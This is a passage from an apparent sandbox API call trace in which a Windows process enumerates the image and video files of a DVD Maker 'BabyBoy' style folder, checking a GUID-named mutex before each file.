Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43675b20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43675b20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0057.438] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0057.438] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.438] GlobalLock (hMem=0x440004) returned 0x550170 [0057.438] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.438] GlobalUnlock (hMem=0x440004) returned 0 [0057.438] GlobalLock (hMem=0x440004) returned 0x550170 [0057.438] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.438] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.438] GlobalUnlock (hMem=0x440004) returned 0 [0057.439] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.439] GlobalUnlock (hMem=0x44000c) returned 0 [0057.439] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.439] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43675b20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43675b20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.439] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.439] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.439] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.439] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.439] GlobalUnlock (hMem=0x44000c) returned 0 [0057.439] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.439] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.439] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.439] GlobalUnlock (hMem=0x44000c) returned 0 [0057.439] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.439] GlobalUnlock (hMem=0x440004) returned 0 [0057.439] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.439] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0057.439] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.439] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.439] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.439] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.439] GlobalUnlock (hMem=0x440004) returned 0 [0057.439] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.439] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.439] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.439] GlobalUnlock (hMem=0x440004) returned 0 [0057.439] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.439] GlobalUnlock (hMem=0x44000c) returned 0 [0057.440] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.440] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0057.440] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.440] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.440] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.440] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.440] GlobalUnlock (hMem=0x44000c) returned 0 [0057.440] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.440] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.440] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.440] GlobalUnlock (hMem=0x44000c) returned 0 [0057.440] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.440] GlobalUnlock (hMem=0x440004) returned 0 [0057.440] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.440] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0057.440] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.440] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.440] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.440] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.440] GlobalUnlock (hMem=0x440004) returned 0 [0057.440] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.440] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.440] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.440] GlobalUnlock (hMem=0x440004) returned 0 [0057.440] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.440] GlobalUnlock (hMem=0x44000c) returned 0 [0057.440] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.441] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0057.441] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.441] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.441] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.441] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.441] GlobalUnlock (hMem=0x44000c) returned 0 [0057.441] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.441] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.441] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.441] GlobalUnlock (hMem=0x44000c) returned 0 [0057.441] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.441] GlobalUnlock (hMem=0x440004) returned 0 [0057.441] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.441] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0057.441] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.441] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.441] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.441] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.441] GlobalUnlock (hMem=0x440004) returned 0 [0057.441] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.441] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.441] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.441] GlobalUnlock (hMem=0x440004) returned 0 [0057.441] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.442] GlobalUnlock (hMem=0x44000c) returned 0 [0057.442] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.442] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0057.442] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.442] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.442] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.442] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.442] GlobalUnlock (hMem=0x44000c) returned 0 [0057.442] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.442] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.442] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.442] GlobalUnlock (hMem=0x44000c) returned 0 [0057.442] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.442] GlobalUnlock (hMem=0x440004) returned 0 [0057.442] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.443] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0057.443] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.443] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.443] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.443] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.443] GlobalUnlock (hMem=0x440004) returned 0 [0057.443] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.443] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.443] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.443] GlobalUnlock (hMem=0x440004) returned 0 [0057.443] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.443] GlobalUnlock (hMem=0x44000c) returned 0 [0057.443] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.443] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0057.443] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.443] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.443] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.443] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.443] GlobalUnlock (hMem=0x44000c) returned 0 [0057.443] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.443] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.443] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.443] GlobalUnlock (hMem=0x44000c) returned 0 [0057.443] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.443] GlobalUnlock (hMem=0x440004) returned 0 [0057.443] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.443] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0057.443] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.443] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.444] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.444] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.444] GlobalUnlock (hMem=0x440004) returned 0 [0057.444] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.444] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.444] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.444] GlobalUnlock (hMem=0x440004) returned 0 [0057.444] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.444] GlobalUnlock (hMem=0x44000c) returned 0 [0057.444] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.444] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0057.444] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.444] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.444] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.444] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.444] GlobalUnlock (hMem=0x44000c) returned 0 [0057.444] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.444] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.444] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.444] GlobalUnlock (hMem=0x44000c) returned 0 [0057.444] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.444] GlobalUnlock (hMem=0x440004) returned 0 [0057.444] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.444] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0057.444] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.444] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.444] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.445] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.445] GlobalUnlock (hMem=0x440004) returned 0 [0057.445] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.445] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.445] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.445] GlobalUnlock (hMem=0x440004) returned 0 [0057.445] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.445] GlobalUnlock (hMem=0x44000c) returned 0 [0057.445] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.445] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1 [0057.445] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.445] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.445] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.445] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.445] GlobalUnlock (hMem=0x44000c) returned 0 [0057.445] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.445] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.445] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.445] GlobalUnlock (hMem=0x44000c) returned 0 [0057.445] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.445] GlobalUnlock (hMem=0x440004) returned 0 [0057.445] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.445] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0057.445] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.445] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.445] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.445] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.445] GlobalUnlock (hMem=0x440004) returned 0 [0057.446] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.446] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.446] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.446] GlobalUnlock (hMem=0x440004) returned 0 [0057.446] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.446] GlobalUnlock (hMem=0x44000c) returned 0 [0057.446] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.446] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1 [0057.446] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.446] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.446] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.446] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.446] GlobalUnlock (hMem=0x44000c) returned 0 [0057.446] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.446] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.446] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.446] GlobalUnlock (hMem=0x44000c) returned 0 [0057.446] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.446] GlobalUnlock (hMem=0x440004) returned 0 [0057.446] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.446] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1 [0057.446] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.446] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.446] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.446] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.446] GlobalUnlock (hMem=0x440004) returned 0 [0057.446] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.446] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.446] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.447] GlobalUnlock (hMem=0x440004) returned 0 [0057.447] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.447] GlobalUnlock (hMem=0x44000c) returned 0 [0057.447] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.447] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x0, dwReserved1=0x0, 